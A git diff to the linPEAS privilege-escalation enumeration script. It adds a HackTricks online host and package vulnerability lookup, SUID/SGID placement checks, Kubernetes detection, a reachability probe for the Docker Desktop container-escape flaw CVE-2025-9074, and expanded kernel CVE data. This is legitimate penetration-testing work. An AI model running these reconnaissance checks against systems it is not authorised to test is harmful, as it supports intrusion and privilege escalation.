'{"id":"%s","name":"%s","version_id":"%s","codename":"%s","kernel":{"release":"%s","version":"%s","arch":"%s"}}' \ + "$(linpeas_json_escape "$_os_id")" \ + "$(linpeas_json_escape "$_os_name")" \ + "$(linpeas_json_escape "$_os_version_id")" \ + "$(linpeas_json_escape "$_os_codename")" \ + "$(linpeas_json_escape "$(uname -r 2>/dev/null)")" \ + "$(linpeas_json_escape "$(uname -v 2>/dev/null)")" \ + "$(linpeas_json_escape "$(uname -m 2>/dev/null)")" +} + +linpeas_host_checker_payload(){ + _hostname="$(hostname 2>/dev/null)" + if [ "$ONLINE_VULN_CHECKS" ]; then + printf '{"hostname":"%s","source":"linpeas","version":"%s","online_package_check":true,"os":%s,"packages":%s}' \ + "$(linpeas_json_escape "$_hostname")" \ + "$(linpeas_json_escape "$VERSION")" \ + "$(linpeas_os_json)" \ + "$(linpeas_packages_json)" + else + printf '{"hostname":"%s","source":"linpeas","version":"%s"}' \ + "$(linpeas_json_escape "$_hostname")" \ + "$(linpeas_json_escape "$VERSION")" + fi +} + + +linpeas_start_host_checker_lookup(){ + [ "$NOT_CHECK_EXTERNAL_HOSTNAME" ] && return + [ "$LINPEAS_HOST_CHECKER_STARTED" ] && return -check_external_hostname(){ INTERNET_SEARCH_TIMEOUT=15 - # wget or curl? + LINPEAS_HOST_CHECKER_STARTED="1" + LINPEAS_HOST_CHECKER_OUT="${TMPDIR:-/tmp}/linpeas_host_checker_$$.json" + LINPEAS_HOST_CHECKER_ERR="${TMPDIR:-/tmp}/linpeas_host_checker_$$.err" + _hacktricks_host_checker_url="${HACKTRICKS_HOST_CHECKER_URL:-https://tools.hacktricks.wiki/api/host-checker}" + _hacktricks_payload="$(linpeas_host_checker_payload)" + if command -v curl >/dev/null 2>&1; then - curl "https://tools.hacktricks.wiki/api/host-checker" -H "User-Agent: linpeas" -d "{\"hostname\":\"$(hostname)\"}" -H "Content-Type: application/json" --max-time "$INTERNET_SEARCH_TIMEOUT" + (curl -s "$_hacktricks_host_checker_url" -H "User-Agent: linpeas" --data-binary "$_hacktricks_payload" -H "Content-Type: application/json" --max-time "$INTERNET_SEARCH_TIMEOUT" > "$LINPEAS_HOST_CHECKER_OUT" 2>"$LINPEAS_HOST_CHECKER_ERR") & + LINPEAS_HOST_CHECKER_PID=$! elif command -v wget >/dev/null 2>&1; then - wget -q -O - "https://tools.hacktricks.wiki/api/host-checker" --header "User-Agent: linpeas" --post-data "{\"hostname\":\"$(hostname)\"}" -H "Content-Type: application/json" --timeout "$INTERNET_SEARCH_TIMEOUT" + (wget -q -O - "$_hacktricks_host_checker_url" --header "User-Agent: linpeas" --header "Content-Type: application/json" --post-data "$_hacktricks_payload" --timeout "$INTERNET_SEARCH_TIMEOUT" > "$LINPEAS_HOST_CHECKER_OUT" 2>"$LINPEAS_HOST_CHECKER_ERR") & + LINPEAS_HOST_CHECKER_PID=$! + else + printf '{"error":"wget or curl not found"}\n' > "$LINPEAS_HOST_CHECKER_OUT" + fi +} + +linpeas_wait_host_checker_lookup(){ + [ "$NOT_CHECK_EXTERNAL_HOSTNAME" ] && return 1 + linpeas_start_host_checker_lookup + if [ "$LINPEAS_HOST_CHECKER_PID" ]; then + wait "$LINPEAS_HOST_CHECKER_PID" 2>/dev/null + LINPEAS_HOST_CHECKER_PID="" + fi + [ -s "$LINPEAS_HOST_CHECKER_OUT" ] +} + +linpeas_strip_package_vulns_from_host_response(){ + if command -v jq >/dev/null 2>&1; then + jq 'del(.package_vulnerabilities)' "$LINPEAS_HOST_CHECKER_OUT" 2>/dev/null && return + fi + + awk ' + function brace_delta(s, t, opens, closes) { + t=s; opens=gsub(/{/,"{",t) + t=s; closes=gsub(/}/,"}",t) + return opens - closes + } + skip { + depth += brace_delta($0) + if (depth <= 0) skip=0 + next + } + /"package_vulnerabilities"[[:space:]]*:/ { + sub(/,[[:space:]]*$/, "", prev) + skip=1 + depth=brace_delta($0) + if (depth <= 0) skip=0 + next + } + { + if (have) print prev + prev=$0 + have=1 + } + END { + if (have) print prev + } + ' "$LINPEAS_HOST_CHECKER_OUT" +} + +check_external_hostname(){ + if linpeas_wait_host_checker_lookup; then + linpeas_strip_package_vulns_from_host_response + else + echo "HackTricks host checker did not return data" + fi +} + +linpeas_print_package_vulnerabilities_with_jq(){ + jq -r ' + .package_vulnerabilities as $pv + | if ($pv == null) then + empty + elif (($pv.affected // 0) | tonumber) == 0 then + "No vulnerable packages found by online lookup (checked \($pv.checked // 0) packages)." + else + "Online package vulnerabilities found: \($pv.affected) vulnerable package(s), checked \($pv.checked // 0).", + ( + $pv.vulnerable_packages[:50][]? + | "- \(.name // "?") \(.version // "?") [\(.ecosystem // "unknown")]: \((.vulns // []) | join(", "))" + ), + ( + if (($pv.vulnerable_packages | length) > 50) then + "... \((($pv.vulnerable_packages | length) - 50)) more vulnerable package(s) not shown." + else empty end + ) + end + ' "$LINPEAS_HOST_CHECKER_OUT" 2>/dev/null +} + +linpeas_print_package_vulnerabilities_with_awk(){ + awk ' + function json_value(line) { + sub(/^[^:]*:[[:space:]]*"/, "", line) + sub(/",?[[:space:]]*$/, "", line) + return line + } + function json_number(line) { + sub(/^[^:]*:[[:space:]]*/, "", line) + sub(/,?[[:space:]]*$/, "", line) + return line + } + function json_string(line) { + sub(/^[[:space:]]*"/, "", line) + sub(/",?[[:space:]]*$/, "", line) + return line + } + function flush_pkg() { + if (name != "" && version != "") { + total++ + if (shown < 50) { + print "- " name " " version " [" (ecosystem != "" ? ecosystem : "unknown") "]: " vulns + shown++ + } + } + name=""; version=""; ecosystem=""; vulns=""; in_vulns=0 + } + /"package_vulnerabilities"[[:space:]]*:/ { in_pv=1; next } + in_pv && /"checked"[[:space:]]*:/ { checked=json_number($0); next } + in_pv && /"affected"[[:space:]]*:/ { affected=json_number($0); next } + in_pv && /"vulnerable_packages"[[:space:]]*:[[:space:]]*\[/ { in_pkgs=1; next } + in_pkgs && /"name"[[:space:]]*:/ { name=json_value($0); next } + in_pkgs && /"version"[[:space:]]*:/ { version=json_value($0); next } + in_pkgs && /"ecosystem"[[:space:]]*:/ { ecosystem=json_value($0); next } + in_pkgs && /"vulns"[[:space:]]*:[[:space:]]*\[/ { in_vulns=1; next } + in_vulns && /"/ { + v=json_string($0) + if (v != "") vulns = vulns (vulns != "" ? ", " : "") v + next + } + in_vulns && /\]/ { in_vulns=0; next } + in_pkgs && /^[[:space:]]*}[,]?[[:space:]]*$/ { flush_pkg(); next } + END { + if (affected == "") exit + if ((affected + 0) == 0) { + print "No vulnerable packages found by online lookup (checked " (checked != "" ? checked : 0) " packages)." + } else { + print "Online package vulnerabilities found: " affected " vulnerable package(s), checked " (checked != "" ? checked : 0) "." + if (total > 50) print "... " (total - 50) " more vulnerable package(s) not shown." + } + } + ' "$LINPEAS_HOST_CHECKER_OUT" | awk ' + /^Online package vulnerabilities found:/ { header=$0; next } + /^No vulnerable packages found/ { print; next } + /^\.\.\. / { more=$0; next } + /^- / { lines[++count]=$0; next } + END { + if (header) print header + for (i=1; i<=count && i<=50; i++) print lines[i] + if (more) print more + } + ' +} + +linpeas_print_package_vulnerabilities(){ + [ "$ONLINE_VULN_CHECKS" ] || return + + if ! linpeas_wait_host_checker_lookup; then + echo "Online package vulnerability lookup did not return data" + return + fi + + if command -v jq >/dev/null 2>&1; then + linpeas_print_package_vulnerabilities_with_jq | sed -${E} "s,CVE-[0-9]{4}-[0-9]+,${SED_RED_YELLOW},g" else - echo "wget or curl not found" + linpeas_print_package_vulnerabilities_with_awk | sed -${E} "s,CVE-[0-9]{4}-[0-9]+,${SED_RED_YELLOW},g" fi } diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/check_privileged_file_location.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/check_privileged_file_location.sh new file mode 100644 index 00000000..992d7d74 --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/check_privileged_file_location.sh @@ -0,0 +1,39 @@ +# Title: Function - check_privileged_file_location +# ID: check_privileged_file_location +# Author: HT Bot +# Last Update: 30-09-2026 +# Description: Report risky placement, ownership, and parent permissions for SUID and SGID files. +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: $E, $IAMROOT, $ROOT_FOLDER, $SED_RED, $SED_RED_YELLOW +# Initial Functions: +# Generated Global Variables: $priv_file_name, $priv_file_owner, $priv_file_parent, $priv_file_type, $priv_file_unusual +# Fat linpeas: 0 +# Small linpeas: 1 + + +check_privileged_file_location() { + priv_file_type="$1" + priv_file_name="$2" + priv_file_owner="$3" + + priv_file_unusual="" + case "$priv_file_name" in + "${ROOT_FOLDER}tmp/"*|"${ROOT_FOLDER}var/tmp/"*|"${ROOT_FOLDER}dev/shm/"*|"${ROOT_FOLDER}run/user/"*|"${ROOT_FOLDER}var/run/user/"*|"${ROOT_FOLDER}home/"*) + echo "$priv_file_type file in a user-writable or unusual location: $priv_file_name" | sed -${E} "s,.*,${SED_RED_YELLOW}," + priv_file_unusual="1" + ;; + esac + + priv_file_parent="$(dirname "$priv_file_name")" + if ! [ "$IAMROOT" ] && [ -d "$priv_file_parent" ] && [ -w "$priv_file_parent" ] && [ -x "$priv_file_parent" ] && ! [ -k "$priv_file_parent" ]; then + echo "You can replace entries in the $priv_file_type file's parent directory: $priv_file_parent" | sed -${E} "s,.*,${SED_RED_YELLOW}," + fi + if [ "$priv_file_owner" ] && [ "$priv_file_owner" != "root" ]; then + echo "$priv_file_type file is owned by non-root user $priv_file_owner: $priv_file_name" | sed -${E} "s,.*,${SED_RED}," + fi + if [ "$priv_file_unusual" ] && find "$priv_file_name" -mtime -7 -print 2>/dev/null | grep -q .; then + echo "$priv_file_type file in an unusual location was modified in the last 7 days: $priv_file_name" | sed -${E} "s,.*,${SED_RED}," + fi +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/check_tcp_443_bin.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/check_tcp_443_bin.sh index 8d5a0f18..9fcfbe91 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/check_tcp_443_bin.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/check_tcp_443_bin.sh @@ -8,19 +8,17 @@ # Functions Used: # Global Variables: # Initial Functions: -# Generated Global Variables: $url_lambda, $TIMEOUT_INTERNET_SECONDS_443_BIN +# Generated Global Variables: $url_443, $TIMEOUT_INTERNET_SECONDS_443_BIN # Fat linpeas: 0 # Small linpeas: 1 check_tcp_443_bin () { local TIMEOUT_INTERNET_SECONDS_443_BIN=$1 - local url_lambda="https://tools.hacktricks.wiki/api/host-checker" + local url_443="https://1.1.1.1" if command -v curl >/dev/null 2>&1; then - if curl -s --connect-timeout $TIMEOUT_INTERNET_SECONDS_443_BIN "$url_lambda" \ - -H "User-Agent: linpeas" -H "Content-Type: application/json" \ - -d "{\"hostname\":\"$(hostname)\"}" >/dev/null 2>&1 + if curl -s -k --connect-timeout "$TIMEOUT_INTERNET_SECONDS_443_BIN" "$url_443" >/dev/null 2>&1 then echo "Port 443 is accessible with curl" return 0 # ✅ success @@ -30,9 +28,7 @@ check_tcp_443_bin () { fi elif command -v wget >/dev/null 2>&1; then - if wget -q --timeout=$TIMEOUT_INTERNET_SECONDS_443_BIN -O - "$url_lambda" \ - --header "User-Agent: linpeas" -H "Content-Type: application/json" \ - --post-data "{\"hostname\":\"$(hostname)\"}" >/dev/null 2>&1 + if wget -q --no-check-certificate --timeout="$TIMEOUT_INTERNET_SECONDS_443_BIN" -O - "$url_443" >/dev/null 2>&1 then echo "Port 443 is accessible with wget" return 0 diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/containerCheck.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/containerCheck.sh index b02f8f0b..d4cbba29 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/containerCheck.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/containerCheck.sh @@ -1,7 +1,7 @@ # Title: Container - containerCheck # ID: containerCheck -# Author: Carlos Polop -# Last Update: 21-03-2026 +# Author: Carlos Polop, HT Bot +# Last Update: 25-09-2026 # Description: Check whether the current process appears to be running inside a Linux container and identify common runtime hints. # License: GNU GPL # Version: 1.0 @@ -27,12 +27,18 @@ containerCheck() { containerType="docker\n" fi - # Are we inside kubenetes? + # Are we inside Kubernetes? Service-account mounts and the API service + # environment are useful on cgroup v2/containerd systems where cgroups may + # not expose a kubepods path. if grep "/kubepod" /proc/1/cgroup -qa 2>/dev/null || - grep -qai kubepods /proc/self/cgroup 2>/dev/null; then + grep -qai kubepods /proc/self/cgroup 2>/dev/null || + [ -d "/var/run/secrets/kubernetes.io/serviceaccount" ] || + [ -d "/run/secrets/kubernetes.io/serviceaccount" ] || + [ -n "${KUBERNETES_SERVICE_HOST:-}" ]; then inContainer="1" - if [ "$containerType" ]; then containerType="$containerType (kubernetes)\n" + if echo "$containerType" | grep -qi "kubernetes"; then : + elif [ "$containerType" ] && [ "$containerType" != "$(echo_no)" ]; then containerType="$containerType (kubernetes)\n" else containerType="kubernetes\n" fi fi diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/enumerateDockerDesktopAPI.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/enumerateDockerDesktopAPI.sh new file mode 100644 index 00000000..08023bcd --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/enumerateDockerDesktopAPI.sh @@ -0,0 +1,36 @@ +# Title: Container - enumerateDockerDesktopAPI +# ID: enumerateDockerDesktopAPI +# Author: Carlos Polop +# Last Update: 24-06-2026 +# Description: Check from inside a container if the Docker Desktop internal Engine API (CVE-2025-9074) is reachable over TCP on 192.168.65.7:2375 even when the docker socket is NOT mounted, which allows a full container escape. +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: $GREP_DOCKER_SOCK_INFOS, $GREP_DOCKER_SOCK_INFOS_IGNORE +# Initial Functions: +# Generated Global Variables: $SEARCHED_DOCKER_DESKTOP_API, $ddEndpoint, $ddInfoResponse +# Fat linpeas: 0 +# Small linpeas: 1 + + +enumerateDockerDesktopAPI() { + if ! [ "$SEARCHED_DOCKER_DESKTOP_API" ]; then + SEARCHED_DOCKER_DESKTOP_API="1" + # Docker Desktop exposes its internal Engine API on the VM services host 192.168.65.7. + # CVE-2025-9074 (fixed in Docker Desktop 4.44.3) let a container reach this UNAUTHENTICATED + # Engine API on 192.168.65.7:2375 even when /var/run/docker.sock was NOT mounted, enabling a + # full container escape (e.g. creating a container that bind-mounts the host filesystem). + # Ref: https://nvd.nist.gov/vuln/detail/CVE-2025-9074 + ddEndpoint="http://192.168.65.7:2375/info" + ddInfoResponse="" + if [ "$(command -v curl 2>/dev/null || echo -n '')" ]; then + ddInfoResponse="$(curl -s --max-time 3 "$ddEndpoint" 2>/dev/null)" + elif [ "$(command -v wget 2>/dev/null || echo -n '')" ]; then + ddInfoResponse="$(wget -q -T 3 -O - "$ddEndpoint" 2>/dev/null)" + fi + if echo "$ddInfoResponse" | grep -q "ServerVersion"; then + echo "Docker Desktop internal Engine API (CVE-2025-9074) reachable at 192.168.65.7:2375 - container escape possible!" | sed -${E} "s,reachable at 192.168.65.7:2375,${SED_RED_YELLOW},g" + echo "$ddInfoResponse" | tr ',' '\n' | grep -E "$GREP_DOCKER_SOCK_INFOS" | grep -v "$GREP_DOCKER_SOCK_INFOS_IGNORE" | tr -d '"' + fi + fi +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/kernel_cve_registry_checks.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/kernel_cve_registry_checks.sh index 9ae5a7f5..a15d6b39 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/kernel_cve_registry_checks.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/kernel_cve_registry_checks.sh @@ -1,13 +1,13 @@ # Title: Function - kernel_cve_registry_checks # ID: kernel_cve_registry_checks # Author: Carlos Polop -# Last Update: 25-02-2026 +# Last Update: 16-09-2026 # Description: Evaluate declared kernel CVE rules using kernel version, arch, kernel config, sysctl and command prerequisites. -# Description: Data source chunks KERNEL_CVE_DATA_1..21 are capped to 25 rows each. +# Description: Data source chunks KERNEL_CVE_DATA_1..26 are capped to 25 rows each. # License: GNU GPL # Version: 1.0 # Functions Used: echo_not_found, print_3title, print_list -# Global Variables: $E, $KERNEL_CVE_DATA_1, $KERNEL_CVE_DATA_2, $KERNEL_CVE_DATA_3, $KERNEL_CVE_DATA_4, $KERNEL_CVE_DATA_5, $KERNEL_CVE_DATA_6, $KERNEL_CVE_DATA_7, $KERNEL_CVE_DATA_8, $KERNEL_CVE_DATA_9, $KERNEL_CVE_DATA_10, $KERNEL_CVE_DATA_11, $KERNEL_CVE_DATA_12, $KERNEL_CVE_DATA_13, $KERNEL_CVE_DATA_14, $KERNEL_CVE_DATA_15, $KERNEL_CVE_DATA_16, $KERNEL_CVE_DATA_17, $KERNEL_CVE_DATA_18, $KERNEL_CVE_DATA_19, $KERNEL_CVE_DATA_20, $KERNEL_CVE_DATA_21, $SED_GREEN, $SED_RED_YELLOW +# Global Variables: $E, $KERNEL_CVE_DATA_1, $KERNEL_CVE_DATA_2, $KERNEL_CVE_DATA_3, $KERNEL_CVE_DATA_4, $KERNEL_CVE_DATA_5, $KERNEL_CVE_DATA_6, $KERNEL_CVE_DATA_7, $KERNEL_CVE_DATA_8, $KERNEL_CVE_DATA_9, $KERNEL_CVE_DATA_10, $KERNEL_CVE_DATA_11, $KERNEL_CVE_DATA_12, $KERNEL_CVE_DATA_13, $KERNEL_CVE_DATA_14, $KERNEL_CVE_DATA_15, $KERNEL_CVE_DATA_16, $KERNEL_CVE_DATA_17, $KERNEL_CVE_DATA_18, $KERNEL_CVE_DATA_19, $KERNEL_CVE_DATA_20, $KERNEL_CVE_DATA_21, $KERNEL_CVE_DATA_22, $KERNEL_CVE_DATA_23, $KERNEL_CVE_DATA_24, $KERNEL_CVE_DATA_25, $KERNEL_CVE_DATA_26, $SED_GREEN, $SED_RED_YELLOW # Initial Functions: echo_not_found, print_3title, print_list # Generated Global Variables: $KERNEL_CVE_CFG_FILE, $KERNEL_CVE_CFG_SOURCE, $KERNEL_CVE_CFG_LINE, $KERNEL_CVE_CFG_KEY, $KERNEL_CVE_CFG_EXPR, $KERNEL_CVE_CFG_EXPECT, $KERNEL_CVE_CFG_OP, $KERNEL_CVE_CFG_CUR, $KERNEL_CVE_SYS_EXPR, $KERNEL_CVE_SYS_KEY, $KERNEL_CVE_SYS_OP, $KERNEL_CVE_SYS_VAL, $KERNEL_CVE_SYS_CUR, $KERNEL_CVE_REQS, $KERNEL_CVE_REQ, $KERNEL_CVE_REQ_LINES, $KERNEL_CVE_ID, $KERNEL_CVE_ID_NORM, $KERNEL_CVE_NAME, $KERNEL_CVE_TAGS, $KERNEL_CVE_RANK, $KERNEL_CVE_COMMENTS, $KERNEL_CVE_EXPL, $KERNEL_CVE_VERS, $KERNEL_CVE_VER_LINES, $KERNEL_CVE_ALT, $KERNEL_CVE_MIL, $KERNEL_CVE_TOKEN_OK, $KERNEL_CVE_MATCHES, $KERNEL_CVE_KERNEL_RELEASE, $KERNEL_CVE_KERNEL_VERSION, $KERNEL_CVE_KERNEL_ARCH, $KERNEL_CVE_KERNEL_OS, $KERNEL_CVE_VER, $KERNEL_CVE_OP, $KERNEL_CVE_REQVER, $KERNEL_CVE_CURVER, $KERNEL_CVE_CMP, $KERNEL_CVE_PRINT_ID, $KERNEL_CVE_PRINT_REASON, $KERNEL_CVE_ID_RAW, $KERNEL_CVE_ID_ITEM, $KERNEL_CVE_ID_OUT, $KERNEL_CVE_ALL_DATA, $KERNEL_CVE_PRINT_LINE # Fat linpeas: 0 @@ -257,17 +257,18 @@ kercve_run_registry() { fi done - KERNEL_CVE_ALL_DATA=$(printf "%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s" \ + KERNEL_CVE_ALL_DATA=$(printf "%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s" \ "$KERNEL_CVE_DATA_1" "$KERNEL_CVE_DATA_2" "$KERNEL_CVE_DATA_3" "$KERNEL_CVE_DATA_4" "$KERNEL_CVE_DATA_5" \ "$KERNEL_CVE_DATA_6" "$KERNEL_CVE_DATA_7" "$KERNEL_CVE_DATA_8" "$KERNEL_CVE_DATA_9" "$KERNEL_CVE_DATA_10" \ "$KERNEL_CVE_DATA_11" "$KERNEL_CVE_DATA_12" "$KERNEL_CVE_DATA_13" "$KERNEL_CVE_DATA_14" "$KERNEL_CVE_DATA_15" \ "$KERNEL_CVE_DATA_16" "$KERNEL_CVE_DATA_17" "$KERNEL_CVE_DATA_18" "$KERNEL_CVE_DATA_19" "$KERNEL_CVE_DATA_20" \ - "$KERNEL_CVE_DATA_21") + "$KERNEL_CVE_DATA_21" "$KERNEL_CVE_DATA_22" "$KERNEL_CVE_DATA_23" "$KERNEL_CVE_DATA_24" "$KERNEL_CVE_DATA_25" \ + "$KERNEL_CVE_DATA_26") print_list "Operating system ............. $KERNEL_CVE_KERNEL_OS\n" print_list "Kernel release ............... $KERNEL_CVE_KERNEL_RELEASE\n" print_list "Comparable version ........... $KERNEL_CVE_KERNEL_VERSION\n" - print_list "Data chunk limit ............. max 25 rows per KERNEL_CVE_DATA_* variable (1..21)\n" + print_list "Data chunk limit ............. max 25 rows per KERNEL_CVE_DATA_* variable (1..26)\n" if [ -n "$KERNEL_CVE_CFG_SOURCE" ]; then print_list "Kernel config source ......... $KERNEL_CVE_CFG_SOURCE\n" else diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/lp_extract_upstream_version.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/lp_extract_upstream_version.sh new file mode 100644 index 00000000..52fae203 --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/lp_extract_upstream_version.sh @@ -0,0 +1,18 @@ +# Title: Functions - lp_extract_upstream_version +# ID: lp_extract_upstream_version +# Author: Chack Agent +# Last Update: 07-09-2026 +# Description: Extract a numeric dotted upstream version from a package version. +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +lp_extract_upstream_version() { + printf '%s' "$1" | sed -E 's/^[0-9]+://; s/^[^0-9]*//; s/[^0-9.].*$//' +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/lp_version_lt.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/lp_version_lt.sh new file mode 100644 index 00000000..5d9f018e --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/lp_version_lt.sh @@ -0,0 +1,30 @@ +# Title: Functions - lp_version_lt +# ID: lp_version_lt +# Author: Chack Agent +# Last Update: 07-09-2026 +# Description: Compare numeric dotted versions and succeed when the first is lower. +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +lp_version_lt() { + [ -n "$1" ] && [ -n "$2" ] || return 1 + awk -v lp_a="$1" -v lp_b="$2" 'BEGIN { + lp_na = split(lp_a, lp_av, ".") + lp_nb = split(lp_b, lp_bv, ".") + lp_n = lp_na > lp_nb ? lp_na : lp_nb + for (lp_i = 1; lp_i <= lp_n; lp_i++) { + lp_ai = lp_av[lp_i] + 0 + lp_bi = lp_bv[lp_i] + 0 + if (lp_ai < lp_bi) exit 0 + if (lp_ai > lp_bi) exit 1 + } + exit 1 + }' +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/linpeas_base/0_variables_base.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/linpeas_base/0_variables_base.sh index 6009b3a4..ded49adf 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/linpeas_base/0_variables_base.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/linpeas_base/0_variables_base.sh @@ -8,7 +8,7 @@ # Functions Used: # Global Variables: # Initial Functions: -# Generated Global Variables: $VERSION, $ADVISORY, $IAMROOT, $MAXPATH_FIND_W, $C, $RED, $SED_RED, $GREEN, $SED_GREEN, $YELLOW, $SED_YELLOW, $RED_YELLOW, $SED_RED_YELLOW, $BLUE, $SED_BLUE, $ITALIC_BLUE, $LIGHT_MAGENTA, $SED_LIGHT_MAGENTA, $LIGHT_CYAN, $SED_LIGHT_CYAN, $LG, $SED_LG, $DG, $SED_DG, $NC, $UNDERLINED, $ITALIC, $MACPEAS, $FAST, $SUPERFAST, $DISCOVERY, $PORTS, $QUIET, $CHECKS, $MITRE_FILTER, $SEARCH_IN_FOLDER, $ROOT_FOLDER, $WAIT, $PASSWORD, $NOCOLOR, $DEBUG, $AUTO_NETWORK_SCAN, $EXTRA_CHECKS, $REGEXES, $PORT_FORWARD, $E, $PING, $FPING, $DISCOVER_BAN_BAD, $DISCOVER_BAN_GOOD, $SCAN_BAN_GOOD, $NMAP_GOOD, $SCRIPTNAME, $FOUND_BASH, $FOUND_NC, $HOMESEARCH, $GREPHOMESEARCH, $SCAN_BAN_BAD, $HOME, $THREADS, $opt, $HELP, $USER, $TOTAL_T1_TIME, $END_T1_TIME, $START_T1_TIME, $title, $title_len, $max_title_len, $rest_len, $CONT_THREADS, $wgroups, $SEDOVERFLOW, $Wfolders, $Wfolder, $grp, $END_T2_TIME, $TOTAL_T2_TIME, $START_T2_TIME, $_mitre_tag, $_mitre_filter, $_mitre_base, $_mitre_tags_left, $_mitre_filters_left +# Generated Global Variables: $VERSION, $ADVISORY, $IAMROOT, $MAXPATH_FIND_W, $C, $RED, $SED_RED, $GREEN, $SED_GREEN, $YELLOW, $SED_YELLOW, $RED_YELLOW, $SED_RED_YELLOW, $BLUE, $SED_BLUE, $ITALIC_BLUE, $LIGHT_MAGENTA, $SED_LIGHT_MAGENTA, $LIGHT_CYAN, $SED_LIGHT_CYAN, $LG, $SED_LG, $DG, $SED_DG, $NC, $UNDERLINED, $ITALIC, $MACPEAS, $FAST, $SUPERFAST, $DISCOVERY, $PORTS, $QUIET, $CHECKS, $MITRE_FILTER, $SEARCH_IN_FOLDER, $ROOT_FOLDER, $WAIT, $PASSWORD, $NOCOLOR, $DEBUG, $AUTO_NETWORK_SCAN, $EXTRA_CHECKS, $REGEXES, $PORT_FORWARD, $NOT_CHECK_EXTERNAL_HOSTNAME, $ONLINE_VULN_CHECKS, $E, $PING, $FPING, $DISCOVER_BAN_BAD, $DISCOVER_BAN_GOOD, $SCAN_BAN_GOOD, $NMAP_GOOD, $SCRIPTNAME, $FOUND_BASH, $FOUND_NC, $HOMESEARCH, $GREPHOMESEARCH, $SCAN_BAN_BAD, $HOME, $THREADS, $opt, $HELP, $USER, $TOTAL_T1_TIME, $END_T1_TIME, $START_T1_TIME, $title, $title_len, $max_title_len, $rest_len, $CONT_THREADS, $wgroups, $SEDOVERFLOW, $Wfolders, $Wfolder, $grp, $END_T2_TIME, $TOTAL_T2_TIME, $START_T2_TIME, $_mitre_tag, $_mitre_filter, $_mitre_base, $_mitre_tags_left, $_mitre_filters_left # Fat linpeas: 0 # Small linpeas: 1 @@ -85,6 +85,7 @@ EXTRA_CHECKS="" REGEXES="" PORT_FORWARD="" NOT_CHECK_EXTERNAL_HOSTNAME="" +ONLINE_VULN_CHECKS="" THREADS="$( ( (grep -c processor /proc/cpuinfo 2>/dev/null) || ( (command -v lscpu >/dev/null 2>&1) && (lscpu | grep '^CPU(s):' | awk '{print $2}')) || echo -n 2) | tr -d "\n")" [ "$THREADS" -eq "$THREADS" ] 2>/dev/null && : || THREADS="2" #If THREADS is not a number, put number 2 [ "$THREADS" -lt 1 ] 2>/dev/null && THREADS="2" #If THREADS is 0 or negative, put number 2 (avoids division-by-zero in eval_bckgrd) @@ -97,6 +98,7 @@ ${NC}This tool enum and search possible misconfigurations$DG (known vulns, user, ${YELLOW} -s${BLUE} Stealth & faster (don't check some time consuming checks) ${YELLOW} -e${BLUE} Perform extra enumeration ${YELLOW} -r${BLUE} Enable Regexes (this can take from some mins to hours) + ${YELLOW} -V${BLUE} Send package/kernel inventory to HackTricks for online vulnerability lookup ${YELLOW} -P${BLUE} Indicate a password that will be used to run 'sudo -l' and to bruteforce other users accounts via 